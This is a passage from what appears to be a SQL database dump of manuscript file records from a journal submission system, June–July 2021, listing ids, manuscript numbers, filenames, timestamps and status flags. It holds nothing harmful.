20:46:39',1,1,0),(18522,8864,'8864-1-Manuscript-2021-06-10.docx',NULL,'2021-06-09 20:46:39',1,1,0),(18540,8449,'8449-Manuscript-2021-06-10-i7yg-graphic-completed.pdf',NULL,'2021-06-10 06:22:38',1,3,0),(18541,8172,'8172-Manuscript-2021-06-10-7mub-graphic-completed.pdf',NULL,'2021-06-10 06:23:30',1,3,0),(18542,7969,'7969-Manuscript-2021-06-10-7mc8-graphic-completed.pdf',NULL,'2021-06-10 06:24:19',1,3,0),(18544,8442,'8442-Manuscript-2021-06-10-mugf-graphic-completed.pdf',NULL,'2021-06-10 07:11:09',1,3,1),(18547,8484,'8484-Manuscript-2021-06-10-e2rx-graphic-completed.pdf',NULL,'2021-06-10 08:50:47',1,3,0),(18556,8872,'8872-0-Manuscript-2021-06-10.docx',NULL,'2021-06-10 12:46:48',1,1,0),(18557,8873,'8873-0-Manuscript-2021-06-10.docx',NULL,'2021-06-10 12:49:10',1,1,0),(18558,8874,'8874-0-Manuscript-2021-06-10.docx',NULL,'2021-06-10 12:52:00',1,1,0),(18580,8753,'8753-334-Manuscript-proof-submission-2021-06-11.docx',NULL,'2021-06-11 07:16:00',1,3,0),(18581,8753,'8753-899-Manuscript-proof-submission-2021-06-11.pdf',NULL,'2021-06-11 07:16:00',1,3,0),(18582,8738,'8738-1264-Manuscript-proof-submission-2021-06-11.pdf',NULL,'2021-06-11 07:16:34',1,3,0),(18583,8738,'8738-429-Manuscript-proof-submission-2021-06-11.docx',NULL,'2021-06-11 07:16:34',1,3,0),(18584,8625,'8625-1340-Manuscript-proof-submission-2021-06-11.pdf',NULL,'2021-06-11 07:17:06',1,3,0),(18585,8625,'8625-101-Manuscript-proof-submission-2021-06-11.docx',NULL,'2021-06-11 07:17:06',1,3,0),(18586,8460,'8460-925-Manuscript-proof-submission-2021-06-11.pdf',NULL,'2021-06-11 07:17:34',1,3,0),(18587,8460,'8460-1335-Manuscript-proof-submission-2021-06-11.docx',NULL,'2021-06-11 07:17:34',1,3,0),(18588,8364,'8364-1320-Manuscript-proof-submission-2021-06-11.docx',NULL,'2021-06-11 07:19:00',1,3,0),(18589,8364,'8364-1535-Manuscript-proof-submission-2021-06-11.pdf',NULL,'2021-06-11 07:19:00',1,3,0),(18611,8598,'8598-1174-Manuscript-proof-submission-2021-06-11.docx',NULL,'2021-06-11 14:47:07',1,3,0),(18612,8598,'8598-1745-Manuscript-proof-submission-2021-06-11.pdf',NULL,'2021-06-11 14:47:07',1,3,0),(18614,8884,'8884-0-Manuscript-2021-06-11.pdf',NULL,'2021-06-11 16:59:46',1,1,0),(18615,8885,'8885-0-Manuscript-2021-06-11.png',NULL,'2021-06-11 18:22:10',1,1,0),(18616,8885,'8885-1-Manuscript-2021-06-11.png',NULL,'2021-06-11 18:22:10',1,1,0),(18617,8885,'8885-2-Manuscript-2021-06-11.png',NULL,'2021-06-11 18:22:10',1,1,0),(18618,8885,'8885-3-Manuscript-2021-06-11.png',NULL,'2021-06-11 18:22:11',1,1,0),(18619,8885,'8885-4-Manuscript-2021-06-11.docx',NULL,'2021-06-11 18:22:11',1,1,0),(18620,8885,'8885-5-Manuscript-2021-06-11.docx',NULL,'2021-06-11 18:22:11',1,1,0),(18621,8885,'8885-6-Manuscript-2021-06-11.docx',NULL,'2021-06-11 18:22:11',1,1,0),(18622,8885,'8885-7-Manuscript-2021-06-11.docx',NULL,'2021-06-11 18:22:11',1,1,0),(18624,8171,'8171-Manuscript-2021-06-12-fx29-rsuite-completed.pdf',NULL,'2021-06-12 04:02:18',1,3,0),(18625,8202,'8202-Manuscript-2021-06-12-r4zw-rsuite-completed.pdf',NULL,'2021-06-12 04:02:44',1,3,0),(18659,8172,'8172-Manuscript-2021-06-14-aivd.pdf',NULL,'2021-06-14 06:50:45',1,3,0),(18664,8742,'8742-1107-Manuscript-proof-submission-2021-06-14.rar',NULL,'2021-06-14 07:54:15',1,3,0),(18667,8898,'8898-0-Manuscript-2021-06-14.docx',NULL,'2021-06-14 10:12:24',1,1,0),(18674,8588,'8588-895-Manuscript-proof-submission-2021-06-14.zip',NULL,'2021-06-14 13:25:08',1,3,0),(18675,8902,'8902-0-Manuscript-2021-06-14.docx',NULL,'2021-06-14 14:50:06',1,1,0),(18677,8588,'8588-Manuscript-2021-06-14-daky-ipaom-21-8588.rar',NULL,'2021-06-14 16:32:48',1,3,1),(18678,8742,'8742-Manuscript-2021-06-14-mzv1-ipaom-21-8742.rar',NULL,'2021-06-14 16:45:35',1,3,1),(18679,8848,'8848-499-Manuscript-2021-06-14.docx',NULL,'2021-06-14 17:13:55',1,2,0),(18708,8381,'8381-Manuscript-2021-06-15-o2k3-ap-ame-q2-accepted-file.pdf',NULL,'2021-06-15 07:20:42',1,3,1),(18721,8911,'8911-0-Manuscript-2021-06-15.docx',NULL,'2021-06-15 11:20:47',1,1,0),(18722,8911,'8911-1-Manuscript-2021-06-15.docx',NULL,'2021-06-15 11:20:47',1,1,0),(18723,8911,'8911-2-Manuscript-2021-06-15.zip',NULL,'2021-06-15 11:20:47',1,1,0),(18724,8911,'8911-3-Manuscript-2021-06-15.docx',NULL,'2021-06-15 11:20:47',1,1,0),(18725,8911,'8911-4-Manuscript-2021-06-15.docx',NULL,'2021-06-15 11:20:47',1,1,0),(18730,8114,'8114-Manuscript-2021-06-15-6cal-ap-ame-revised.rar',NULL,'2021-06-15 13:55:18',1,3,0),(18734,8914,'8914-0-Manuscript-2021-06-16.docx',NULL,'2021-06-15 23:52:09',1,1,0),(18746,8917,'8917-0-Manuscript-2021-06-16.docx',NULL,'2021-06-16 03:45:03',1,1,0),(18747,8917,'8917-1-Manuscript-2021-06-16.docx',NULL,'2021-06-16 03:45:03',1,1,0),(18754,8924,'8924-0-Manuscript-2021-06-16.docx',NULL,'2021-06-16 04:21:38',1,1,0),(18757,6915,'6915-Manuscript-2021-06-16-s31q-graphic-completed.pdf',NULL,'2021-06-16 05:11:51',1,3,0),(18768,8171,'8171-Manuscript-2021-06-16-w6i7.pdf',NULL,'2021-06-16 06:54:55',1,3,1),(18781,8932,'8932-0-Manuscript-2021-06-16.docx',NULL,'2021-06-16 10:18:07',1,1,0),(18782,8933,'8933-0-Manuscript-2021-06-16.docx',NULL,'2021-06-16 10:38:33',1,1,0),(18789,8939,'8939-0-Manuscript-2021-06-16.docx',NULL,'2021-06-16 11:22:51',1,1,0),(18790,8940,'8940-0-Manuscript-2021-06-16.docx',NULL,'2021-06-16 11:24:12',1,1,0),(18793,8592,'8592-824-Manuscript-proof-submission-2021-06-16.zip',NULL,'2021-06-16 13:42:56',1,3,0),(18800,8943,'8943-0-Manuscript-2021-06-17.doc',NULL,'2021-06-17 01:45:44',1,1,0),(18801,8943,'8943-1-Manuscript-2021-06-17.doc',NULL,'2021-06-17 01:45:44',1,1,0),(18802,8943,'8943-61-Manuscript-2021-06-17.doc',NULL,'2021-06-17 01:55:00',1,1,0),(18804,8945,'8945-0-Manuscript-2021-06-17.docx',NULL,'2021-06-17 04:20:01',1,1,0),(18820,8484,'8484-Manuscript-2021-06-17-c7gw.pdf',NULL,'2021-06-17 08:33:32',1,3,0),(18822,7969,'7969-Manuscript-2021-06-17-hnou.pdf',NULL,'2021-06-17 09:10:10',1,3,1),(18833,8592,'8592-Manuscript-2021-06-17-0aem-ipaom-21-8592.rar',NULL,'2021-06-17 10:56:58',1,3,1),(18847,8940,'8940-1956-Manuscript-proof-submission-2021-06-17.docx',NULL,'2021-06-17 12:57:53',1,3,0),(18848,8939,'8939-118-Manuscript-proof-submission-2021-06-17.docx',NULL,'2021-06-17 12:58:24',1,3,0),(18849,8933,'8933-775-Manuscript-proof-submission-2021-06-17.docx',NULL,'2021-06-17 12:58:52',1,3,0),(18850,8932,'8932-1984-Manuscript-proof-submission-2021-06-17.docx',NULL,'2021-06-17 12:59:07',1,3,0),(18852,8953,'8953-0-Manuscript-2021-06-17.docx',NULL,'2021-06-17 14:00:04',1,1,0),(18857,8593,'8593-367-Manuscript-proof-submission-2021-06-17.zip',NULL,'2021-06-17 15:32:16',1,3,0),(18858,8932,'8932-Manuscript-2021-06-17-e903-IPJUS-21-8932.docx',NULL,'2021-06-17 16:35:13',1,3,0),(18859,8933,'8933-Manuscript-2021-06-17-lcef-IPJUS-21-8933.docx',NULL,'2021-06-17 16:35:22',1,3,0),(18860,8939,'8939-Manuscript-2021-06-17-ucqd-IPJUS-21-8939.docx',NULL,'2021-06-17 16:36:04',1,3,0),(18861,8940,'8940-Manuscript-2021-06-17-ebv0-IPJUS-21-8940.docx',NULL,'2021-06-17 16:36:19',1,3,0),(18862,8593,'8593-Manuscript-2021-06-17-s507-ipaom-21-8593.rar',NULL,'2021-06-17 16:46:35',1,3,1),(18864,8592,'8592-Manuscript-2021-06-18-cy9q-graphic-completed.pdf',NULL,'2021-06-18 03:30:14',1,3,1),(18897,8932,'8932-Manuscript-2021-06-18-us1m-graphic-completed.pdf',NULL,'2021-06-18 10:09:22',1,3,0),(18898,8933,'8933-Manuscript-2021-06-18-f49h-graphic-completed.pdf',NULL,'2021-06-18 10:15:17',1,3,0),(18899,8939,'8939-Manuscript-2021-06-18-omiy-graphic-completed.pdf',NULL,'2021-06-18 10:22:25',1,3,0),(18900,8940,'8940-Manuscript-2021-06-18-eirm-graphic-completed.pdf',NULL,'2021-06-18 10:27:52',1,3,0),(18912,8932,'8932-Manuscript-2021-06-18-tsgp.pdf',NULL,'2021-06-18 13:33:09',1,3,0),(18913,8933,'8933-Manuscript-2021-06-18-wajp.pdf',NULL,'2021-06-18 13:33:37',1,3,0),(18981,8999,'8999-0-Manuscript-2021-06-21.docx',NULL,'2021-06-21 05:38:09',1,1,0),(19010,8491,'8491-1282-Manuscript-2021-06-21.docx',NULL,'2021-06-21 12:59:22',1,2,0),(19011,8491,'8491-1504-Manuscript-2021-06-21.',NULL,'2021-06-21 12:59:22',1,2,0),(19014,9013,'9013-0-Manuscript-2021-06-21.doc',NULL,'2021-06-21 13:24:18',1,1,0),(19050,9022,'9022-0-Manuscript-2021-06-22.docx',NULL,'2021-06-22 09:49:40',1,1,0),(19066,8588,'8588-Manuscript-2021-06-22-qh4r-graphic-completed.pdf',NULL,'2021-06-22 13:49:19',1,3,0),(19067,8593,'8593-Manuscript-2021-06-22-1st9-graphic-completed.pdf',NULL,'2021-06-22 14:16:34',1,3,0),(19069,9031,'9031-0-Manuscript-2021-06-22.docx',NULL,'2021-06-22 16:14:40',1,1,0),(19071,8588,'8588-Manuscript-2021-06-22-we0a.pdf',NULL,'2021-06-22 16:46:48',1,3,1),(19072,8593,'8593-Manuscript-2021-06-22-rf9q.pdf',NULL,'2021-06-22 16:47:25',1,3,0),(19075,9034,'9034-0-Manuscript-2021-06-23.docx',NULL,'2021-06-22 23:08:44',1,1,0),(19094,8593,'8593-Manuscript-2021-06-23-e504-graphic-completed.pdf',NULL,'2021-06-23 06:16:52',1,3,0),(19106,8742,'8742-Manuscript-2021-06-23-e6r0-graphic-completed.pdf',NULL,'2021-06-23 08:01:56',1,3,0),(19131,8848,'8848-494-Manuscript-proof-submission-2021-06-23.zip',NULL,'2021-06-23 11:24:59',1,3,0),(19149,8848,'8848-Manuscript-2021-06-23-huql-ipaom-21-8848.rar',NULL,'2021-06-23 13:41:56',1,3,1),(19150,9057,'9057-0-Manuscript-2021-06-23.pdf',NULL,'2021-06-23 14:37:41',1,1,0),(19181,9068,'9068-0-Manuscript-2021-06-24.docx',NULL,'2021-06-24 04:56:14',1,1,0),(19208,8043,'8043-1066-Manuscript-proof-submission-2021-06-24.zip',NULL,'2021-06-24 12:15:44',1,3,0),(19212,8742,'8742-Manuscript-2021-06-24-5vhb.pdf',NULL,'2021-06-24 16:55:59',1,3,0),(19214,8885,'8885-1008-Manuscript-2021-06-24.docx',NULL,'2021-06-24 18:22:28',1,1,0),(19215,8885,'8885-155-Manuscript-2021-06-24.docx',NULL,'2021-06-24 18:22:28',1,1,0),(19216,8885,'8885-1313-Manuscript-2021-06-24.docx',NULL,'2021-06-24 18:22:28',1,1,0),(19240,9081,'9081-0-Manuscript-2021-06-25.docx',NULL,'2021-06-25 08:09:01',1,1,0),(19242,8491,'8491-880-Manuscript-proof-submission-2021-06-25.zip',NULL,'2021-06-25 08:46:58',1,3,0),(19245,9084,'9084-0-Manuscript-2021-06-25.docx',NULL,'2021-06-25 09:35:43',1,1,0),(19246,9084,'9084-1-Manuscript-2021-06-25.docx',NULL,'2021-06-25 09:35:43',1,1,0),(19247,9084,'9084-2-Manuscript-2021-06-25.docx',NULL,'2021-06-25 09:35:43',1,1,0),(19265,8885,'8885-1737-Manuscript-2021-06-25.docx',NULL,'2021-06-25 14:13:22',1,2,0),(19266,8885,'8885-1214-Manuscript-2021-06-25.docx',NULL,'2021-06-25 14:13:23',1,2,0),(19267,8885,'8885-1622-Manuscript-2021-06-25.docx',NULL,'2021-06-25 14:13:23',1,2,0),(19270,8593,'8593-Manuscript-2021-06-25-djaz-graphic-completed.pdf',NULL,'2021-06-25 15:31:26',1,3,0),(19271,8742,'8742-Manuscript-2021-06-25-yd3l-graphic-completed.pdf',NULL,'2021-06-25 15:38:08',1,3,0),(19278,8491,'8491-Manuscript-2021-06-26-aqz0-ipaom-21-8491.rar',NULL,'2021-06-25 19:00:51',1,3,1),(19280,8043,'8043-Manuscript-2021-06-26-3qfh-ipjnn-21-8043.rar',NULL,'2021-06-25 19:18:49',1,3,1),(19284,8848,'8848-Manuscript-2021-06-26-gduj-graphic-completed.pdf',NULL,'2021-06-26 03:36:25',1,3,0),(19291,8863,'8863-805-Manuscript-proof-submission-2021-06-26.rar',NULL,'2021-06-26 05:17:32',1,3,0),(19292,8845,'8845-1177-Manuscript-proof-submission-2021-06-26.rar',NULL,'2021-06-26 05:51:15',1,3,0),(19313,8593,'8593-Manuscript-2021-06-26-dywv.pdf',NULL,'2021-06-26 09:48:47',1,3,1),(19314,8742,'8742-Manuscript-2021-06-26-5fmx.pdf',NULL,'2021-06-26 09:49:04',1,3,1),(19316,9096,'9096-0-Manuscript-2021-06-26.docx',NULL,'2021-06-26 13:29:11',1,1,0),(19343,8043,'8043-Manuscript-2021-06-27-0w6g-graphic-completed.pdf',NULL,'2021-06-27 11:10:56',1,3,1),(19347,9105,'9105-0-Manuscript-2021-06-27.docx',NULL,'2021-06-27 14:43:08',1,1,0),(19349,8863,'8863-Manuscript-2021-06-27-tsg5-iphsj-21-8863.rar',NULL,'2021-06-27 17:10:11',1,3,1),(19356,8584,'8584-1200-Manuscript-proof-submission-2021-06-28.docx',NULL,'2021-06-28 04:36:15',1,3,0),(19357,8584,'8584-1022-Manuscript-proof-submission-2021-06-28.docx',NULL,'2021-06-28 04:36:15',1,3,0),(19359,9110,'9110-0-Manuscript-2021-06-28.docx',NULL,'2021-06-28 05:26:30',1,1,0),(19370,9112,'9112-0-Manuscript-2021-06-28.docx',NULL,'2021-06-28 06:29:16',1,1,0),(19384,8584,'8584-Manuscript-2021-06-28-3ln7-ijddr-21-8584.docx',NULL,'2021-06-28 07:18:48',1,3,0),(19399,9116,'9116-0-Manuscript-2021-06-28.docx',NULL,'2021-06-28 08:26:10',1,1,0),(19401,9117,'9117-0-Manuscript-2021-06-28.docx',NULL,'2021-06-28 08:27:22',1,1,0),(19409,8102,'8102-1463-Manuscript-proof-submission-2021-06-28.rar',NULL,'2021-06-28 08:53:21',1,3,0),(19415,8102,'8102-Manuscript-2021-06-28-12g6-iphsj-21-8102.rar',NULL,'2021-06-28 09:52:48',1,3,0),(19419,8848,'8848-Manuscript-2021-06-28-2tmv.pdf',NULL,'2021-06-28 10:32:03',1,3,0),(19433,8074,'8074-254-Manuscript-proof-submission-2021-06-28.doc',NULL,'2021-06-28 12:05:01',1,3,0),(19434,8074,'8074-1261-Manuscript-proof-submission-2021-06-28.doc',NULL,'2021-06-28 12:05:03',1,3,0),(19435,8789,'8789-1958-Manuscript-proof-submission-2021-06-28.rar',NULL,'2021-06-28 12:13:07',1,3,0),(19436,9130,'9130-0-Manuscript-2021-06-28.docx',NULL,'2021-06-28 12:21:55',1,1,0),(19437,9130,'9130-1-Manuscript-2021-06-28.docx',NULL,'2021-06-28 12:21:55',1,1,0),(19438,9130,'9130-2-Manuscript-2021-06-28.docx',NULL,'2021-06-28 12:21:55',1,1,0),(19451,8789,'8789-Manuscript-2021-06-28-mrhe-iphsj-21-8789.rar',NULL,'2021-06-28 13:26:28',1,3,1),(19454,8074,'8074-198-Manuscript-2021-06-28.zip',NULL,'2021-06-28 15:59:03',1,1,0),(19466,9134,'9134-0-Manuscript-2021-06-29.docx',NULL,'2021-06-28 23:15:25',1,1,0),(19467,9134,'9134-1-Manuscript-2021-06-29.rtf',NULL,'2021-06-28 23:15:25',1,1,0),(19468,9134,'9134-2-Manuscript-2021-06-29.docx',NULL,'2021-06-28 23:15:25',1,1,0),(19470,8202,'8202-Manuscript-2021-06-29-sfo0.pdf',NULL,'2021-06-29 03:51:17',1,3,1),(19475,9137,'9137-0-Manuscript-2021-06-29.docx',NULL,'2021-06-29 04:26:01',1,1,0),(19490,8403,'8403-1274-Manuscript-proof-submission-2021-06-29.pdf',NULL,'2021-06-29 05:23:32',1,3,0),(19494,8943,'8943-939-Manuscript-proof-submission-2021-06-29.rar',NULL,'2021-06-29 05:29:53',1,3,0),(19496,8584,'8584-Manuscript-2021-06-29-uvpf-rsuite-completed.pdf',NULL,'2021-06-29 05:34:41',1,3,0),(19500,8102,'8102-Manuscript-2021-06-29-mdcz-graphic-completed.pdf',NULL,'2021-06-29 05:48:36',1,3,0),(19501,8863,'8863-Manuscript-2021-06-29-7w4b-graphic-completed.pdf',NULL,'2021-06-29 05:48:49',1,3,1),(19504,8898,'8898-649-Manuscript-proof-submission-2021-06-29.docx',NULL,'2021-06-29 06:26:26',1,3,0),(19505,8898,'8898-1923-Manuscript-proof-submission-2021-06-29.docx',NULL,'2021-06-29 06:26:26',1,3,0),(19506,8898,'8898-1178-Manuscript-proof-submission-2021-06-29.docx',NULL,'2021-06-29 06:26:26',1,3,0),(19507,8898,'8898-1437-Manuscript-proof-submission-2021-06-29.docx',NULL,'2021-06-29 06:26:26',1,3,0),(19508,8924,'8924-1138-Manuscript-proof-submission-2021-06-29.docx',NULL,'2021-06-29 06:26:51',1,3,0),(19518,8943,'8943-Manuscript-2021-06-29-w4ql-iphsj-21-8943.rar',NULL,'2021-06-29 07:30:18',1,3,1),(19519,8102,'8102-Manuscript-2021-06-29-675i.rar',NULL,'2021-06-29 07:32:51',1,3,1),(19555,8494,'8494-205-Manuscript-proof-submission-2021-06-29.docx',NULL,'2021-06-29 11:10:15',1,3,0),(19556,8494,'8494-156-Manuscript-proof-submission-2021-06-29.docx',NULL,'2021-06-29 11:10:16',1,3,0),(19558,9155,'9155-0-Manuscript-2021-06-29.docx',NULL,'2021-06-29 11:37:16',1,1,0),(19559,9156,'9156-0-Manuscript-2021-06-29.docx',NULL,'2021-06-29 11:38:13',1,1,0),(19560,9157,'9157-0-Manuscript-2021-06-29.docx',NULL,'2021-06-29 11:39:14',1,1,0),(19561,9158,'9158-0-Manuscript-2021-06-29.docx',NULL,'2021-06-29 11:57:10',1,1,0),(19566,9160,'9160-0-Manuscript-2021-06-29.docx',NULL,'2021-06-29 15:49:45',1,1,0),(19568,8208,'8208-492-Manuscript-proof-submission-2021-06-29.zip',NULL,'2021-06-29 17:49:58',1,3,0),(19585,9168,'9168-0-Manuscript-2021-06-30.docx',NULL,'2021-06-30 06:01:25',1,1,0),(19588,9169,'9169-0-Manuscript-2021-06-30.docx',NULL,'2021-06-30 06:13:26',1,1,0),(19590,9171,'9171-0-Manuscript-2021-06-30.docx',NULL,'2021-06-30 06:17:27',1,1,0),(19592,9172,'9172-0-Manuscript-2021-06-30.docx',NULL,'2021-06-30 06:20:01',1,1,0),(19593,9173,'9173-0-Manuscript-2021-06-30.docx',NULL,'2021-06-30 06:22:47',1,1,0),(19601,8848,'8848-Manuscript-2021-06-30-ts5o-graphic-completed.pdf',NULL,'2021-06-30 07:48:47',1,3,1),(19608,8208,'8208-Manuscript-2021-06-30-cf8e-ipjnn-21-8208.rar',NULL,'2021-06-30 08:27:56',1,3,0),(19640,9174,'9174-0-Manuscript-2021-06-30.docx',NULL,'2021-06-30 12:01:08',1,1,0),(19647,8114,'8114-Manuscript-2021-06-30-f8m2-iptb-21-8114.rar',NULL,'2021-06-30 14:18:17',1,3,0),(19654,9183,'9183-0-Manuscript-2021-07-01.docx',NULL,'2021-07-01 04:07:19',1,1,0),(19663,8945,'8945-1673-Manuscript-proof-submission-2021-07-01.docx',NULL,'2021-07-01 05:49:34',1,3,0),(19664,8945,'8945-1747-Manuscript-proof-submission-2021-07-01.docx',NULL,'2021-07-01 05:49:36',1,3,0),(19666,6929,'6929-248-Manuscript-proof-submission-2021-07-01.docx',NULL,'2021-07-01 05:54:22',1,3,0),(19679,8074,'8074-Manuscript-2021-07-01-ygvu-ap-ame-revised.zip',NULL,'2021-07-01 06:37:30',1,3,0),(19681,8208,'8208-Manuscript-2021-07-01-onzu-ap-ame-revised.zip',NULL,'2021-07-01 07:20:38',1,3,0),(19693,8208,'8208-Manuscript-2021-07-01-ib6y-ipjnn-21-8208.rar',NULL,'2021-07-01 09:49:23',1,3,1),(19698,8074,'8074-Manuscript-2021-07-01-n84v-ipjnn-21-8074.rar',NULL,'2021-07-01 10:37:00',1,3,1),(19753,8364,'8364-1687-Manuscript-proof-submission-2021-07-02.docx',NULL,'2021-07-02 09:14:18',1,3,0),(19754,8364,'8364-1154-Manuscript-proof-submission-2021-07-02.pdf',NULL,'2021-07-02 09:14:18',1,3,0),(19755,8460,'8460-1088-Manuscript-proof-submission-2021-07-02.docx',NULL,'2021-07-02 09:14:41',1,3,0),(19756,8460,'8460-2004-Manuscript-proof-submission-2021-07-02.pdf',NULL,'2021-07-02 09:14:41',1,3,0),(19757,8481,'8481-972-Manuscript-proof-submission-2021-07-02.docx',NULL,'2021-07-02 09:15:50',1,3,0),(19758,8481,'8481-1438-Manuscript-proof-submission-2021-07-02.pdf',NULL,'2021-07-02 09:15:50',1,3,0),(19759,8696,'8696-737-Manuscript-proof-submission-2021-07-02.docx',NULL,'2021-07-02 09:16:37',1,3,0),(19760,8696,'8696-150-Manuscript-proof-submission-2021-07-02.pdf',NULL,'2021-07-02 09:16:37',1,3,0),(19761,9158,'9158-667-Manuscript-proof-submission-2021-07-02.pdf',NULL,'2021-07-02 09:16:59',1,3,0),(19762,9158,'9158-1595-Manuscript-proof-submission-2021-07-02.docx',NULL,'2021-07-02 09:16:59',1,3,0),(19763,9168,'9168-1531-Manuscript-proof-submission-2021-07-02.pdf',NULL,'2021-07-02 09:17:23',1,3,0),(19764,9168,'9168-1656-Manuscript-proof-submission-2021-07-02.docx',NULL,'2021-07-02 09:17:23',1,3,0),(19765,9174,'9174-1353-Manuscript-proof-submission-2021-07-02.pdf',NULL,'2021-07-02 09:17:44',1,3,0),(19766,9174,'9174-246-Manuscript-proof-submission-2021-07-02.docx',NULL,'2021-07-02 09:17:44',1,3,0),(19770,9210,'9210-0-Manuscript-2021-07-02.docx',NULL,'2021-07-02 10:09:40',1,1,0),(19771,9210,'9210-1-Manuscript-2021-07-02.docx',NULL,'2021-07-02 10:09:40',1,1,0),(19772,9210,'9210-2-Manuscript-2021-07-02.docx',NULL,'2021-07-02 10:09:40',1,1,0),(19835,8491,'8491-Manuscript-2021-07-03-u06x-graphic-completed.pdf',NULL,'2021-07-03 07:22:55',1,3,0),(19843,9229,'9229-0-Manuscript-2021-07-04.docx',NULL,'2021-07-03 23:10:10',1,1,0),(19844,9229,'9229-1-Manuscript-2021-07-04.jpg',NULL,'2021-07-03 23:10:10',1,1,0),(19845,9229,'9229-2-Manuscript-2021-07-04.jpg',NULL,'2021-07-03 23:10:10',1,1,0),(19846,9229,'9229-3-Manuscript-2021-07-04.jpg',NULL,'2021-07-03 23:10:10',1,1,0),(19847,9229,'9229-4-Manuscript-2021-07-04.docx',NULL,'2021-07-03 23:10:10',1,1,0),(19848,9230,'9230-0-Manuscript-2021-07-04.docx',NULL,'2021-07-04 08:17:15',1,1,0),(19849,9231,'9231-0-Manuscript-2021-07-04.docx',NULL,'2021-07-04 10:29:32',1,1,0),(19850,9231,'9231-1-Manuscript-2021-07-04.docx',NULL,'2021-07-04 10:29:32',1,1,0),(19864,9233,'9233-0-Manuscript-2021-07-04.docx',NULL,'2021-07-04 17:27:24',1,1,0),(19882,8491,'8491-Manuscript-2021-07-05-cel9.pdf',NULL,'2021-07-05 05:35:07',1,3,0),(19887,9236,'9236-0-Manuscript-2021-07-05.docx',NULL,'2021-07-05 05:45:03',1,1,0),(19906,8491,'8491-Manuscript-2021-07-05-z1ea-graphic-completed.pdf',NULL,'2021-07-05 07:54:28',1,3,0),(19926,8491,'8491-Manuscript-2021-07-05-3jge.pdf',NULL,'2021-07-05 09:40:58',1,3,0),(19937,8208,'8208-Manuscript-2021-07-05-6pga-graphic-completed.pdf',NULL,'2021-07-05 10:07:53',1,3,0),(19941,9243,'9243-0-Manuscript-2021-07-05.doc',NULL,'2021-07-05 10:55:27',1,1,0),(19942,9243,'9243-1-Manuscript-2021-07-05.docx',NULL,'2021-07-05 10:55:27',1,1,0),(19943,9243,'9243-2-Manuscript-2021-07-05.docx',NULL,'2021-07-05 10:55:27',1,1,0),(19944,9243,'9243-3-Manuscript-2021-07-05.jpg',NULL,'2021-07-05 10:55:28',1,1,0),(19955,8074,'8074-Manuscript-2021-07-05-7epa-graphic-completed.pdf',NULL,'2021-07-05 11:56:48',1,3,0),(19970,9137,'9137-1305-Manuscript-proof-submission-2021-07-06.pdf',NULL,'2021-07-06 05:23:58',1,3,0),(19971,9117,'9117-1952-Manuscript-proof-submission-2021-07-06.pdf',NULL,'2021-07-06 05:24:25',1,3,0),(19972,9116,'9116-1934-Manuscript-proof-submission-2021-07-06.pdf',NULL,'2021-07-06 05:24:54',1,3,0),(19986,9251,'9251-0-Manuscript-2021-07-06.docx',NULL,'2021-07-06 07:51:08',1,1,0),(19987,9251,'9251-1-Manuscript-2021-07-06.docx',NULL,'2021-07-06 07:51:08',1,1,0),(19988,9251,'9251-2-Manuscript-2021-07-06.docx',NULL,'2021-07-06 07:51:08',1,1,0),(19990,7929,'7929-878-Manuscript-proof-submission-2021-07-06.docx',NULL,'2021-07-06 08:17:29',1,3,0),(19992,8703,'8703-1173-Manuscript-proof-submission-2021-07-06.docx',NULL,'2021-07-06 08:20:46',1,3,0),(19998,9155,'9155-225-Manuscript-proof-submission-2021-07-06.docx',NULL,'2021-07-06 08:29:06',1,3,0),(19999,9156,'9156-442-Manuscript-proof-submission-2021-07-06.docx',NULL,'2021-07-06 08:30:21',1,3,0),(20000,9157,'9157-1017-Manuscript-proof-submission-2021-07-06.docx',NULL,'2021-07-06 08:31:00',1,3,0),(20020,9236,'9236-941-Manuscript-proof-submission-2021-07-06.docx',NULL,'2021-07-06 10:04:42',1,3,0),(20036,9267,'9267-0-Manuscript-2021-07-06.docx',NULL,'2021-07-06 12:29:01',1,1,0),(20041,9269,'9269-0-Manuscript-2021-07-06.docx',NULL,'2021-07-06 15:08:54',1,1,0),(20051,9276,'9276-0-Manuscript-2021-07-07.docx',NULL,'2021-07-07 05:01:37',1,1,0),(20084,8885,'8885-1343-Manuscript-proof-submission-2021-07-07.rar',NULL,'2021-07-07 08:42:26',1,3,1),(20093,8932,'8932-Manuscript-2021-07-07-xs65-ap-ame-revised.pdf',NULL,'2021-07-07 09:47:05',1,3,0),(20096,8933,'8933-Manuscript-2021-07-07-qf5s-ap-ame-revised.pdf',NULL,'2021-07-07 09:48:32',1,3,0),(20107,9236,'9236-Manuscript-2021-07-07-nbam-IPJUS-21-9236.docx',NULL,'2021-07-07 10:24:30',1,3,0),(20111,8932,'8932-Manuscript-2021-07-07-b3fk.pdf',NULL,'2021-07-07 11:42:40',1,3,0),(20112,8933,'8933-Manuscript-2021-07-07-ky6e.pdf',NULL,'2021-07-07 11:42:55',1,3,0),(20117,9236,'9236-Manuscript-2021-07-07-x5pd-graphic-completed.pdf',NULL,'2021-07-07 13:03:20',1,3,0),(20118,9285,'9285-0-Manuscript-2021-07-07.docx',NULL,'2021-07-07 16:04:47',1,1,0),(20119,9286,'9286-0-Manuscript-2021-07-08.docx',NULL,'2021-07-07 19:57:22',1,1,0),(20162,8874,'8874-2013-Manuscript-proof-submission-2021-07-08.zip',NULL,'2021-07-08 08:19:44',1,3,0),(20178,8885,'8885-Manuscript-2021-07-08-162t-graphic-completed.pdf',NULL,'2021-07-08 10:28:16',1,3,1),(20180,9303,'9303-0-Manuscript-2021-07-08.docx',NULL,'2021-07-08 11:19:51',1,1,0),(20196,8874,'8874-Manuscript-2021-07-08-15k7-ipaom-21-8874.rar',NULL,'2021-07-08 12:18:10',1,3,1),(20214,9318,'9318-0-Manuscript-2021-07-09.docx',NULL,'2021-07-09 05:37:26',1,1,0),(20238,8874,'8874-Manuscript-2021-07-09-lxfh-graphic-completed.pdf',NULL,'2021-07-09 07:30:56',1,3,1),(20240,8534,'8534-425-Manuscript-proof-submission-2021-07-09.docx',NULL,'2021-07-09 07:49:47',1,3,1),(20241,8572,'8572-1839-Manuscript-proof-submission-2021-07-09.docx',NULL,'2021-07-09 07:50:33',1,3,1),(20242,8953,'8953-537-Manuscript-proof-submission-2021-07-09.rar',NULL,'2021-07-09 08:01:03',1,3,0),(20271,8943,'8943-Manuscript-2021-07-09-orb8-graphic-completed.pdf',NULL,'2021-07-09 09:19:15',1,3,1),(20272,8403,'8403-Manuscript-2021-07-09-6qcn-graphic-completed.pdf',NULL,'2021-07-09 